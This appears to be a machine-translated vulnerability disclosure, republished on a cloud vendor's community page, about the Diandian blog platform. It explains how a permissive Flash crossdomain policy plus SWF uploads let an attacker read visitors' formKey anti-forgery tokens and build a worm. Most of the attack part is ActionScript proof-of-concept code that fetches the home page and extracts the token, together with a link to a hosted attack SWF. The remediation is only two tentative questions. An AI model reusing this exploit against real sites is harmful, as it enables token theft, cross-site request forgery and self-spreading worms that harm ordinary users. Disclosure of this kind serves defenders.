Point Network reflective xss ii and formKey Leakage

Source: Internet
Author: User

Template static resource upload page (http://www.diandian.com/upload/asset) and Flash cross-domain communication configuration file (http://www.diandain.com/crossdomain.xml) allows the same domain name, just upload a SWF, you can read formKey. Embed the SWF into the blog page, read the visitor's formKey, call externalInterface to input the value to JS, and then worm it.
Http://x.libdd.com/farm1/f15341/7cef03a1/diandian.swf
 
Var result_txt = new TextField ();
Result_txt.x = 0;
Result_txt.y = 0;
Result_txt.height = 22;
Result_txt.width = 200;
AddChild (result_txt );
Var targetURL: String = "http://www.diandian.com/home ";
Var request: URLRequest = new URLRequest (targetURL );
Request. method = URLRequestMethod. GET;
Var loader: URLLoader = new URLLoader ();
Loader. addEventListener (Event. COMPLETE, completeHandler );
Function completeHandler (event: Event ){
Var formKey: String = loader. data;
FormKey = formKey. split ("window. DDformKey = '") [1]. split ("'") [0]
Result_txt.text = formKey
}
Loader. load (request)
The effect is as follows:
 
 
 
Solution:
 
Change the configuration file? Change the domain name for storing static files?
Author p. z

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.